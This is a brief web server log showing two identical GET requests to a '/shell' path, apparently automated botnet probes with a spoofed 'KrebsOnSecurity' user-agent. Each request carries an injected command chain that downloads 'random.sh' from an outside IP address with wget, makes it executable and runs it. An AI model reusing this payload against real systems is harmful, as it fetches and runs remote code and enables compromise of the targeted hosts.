Jan. 6, 2025, 8:46 a.m. — GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/194.37.81.64/random.sh;chmod+777+random.sh;./random.sh → 301
User-Agent: KrebsOnSecurity

Jan. 5, 2025, 8:56 p.m. — GET /shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/194.37.81.64/random.sh;chmod+777+random.sh;./random.sh → 301
User-Agent: KrebsOnSecurity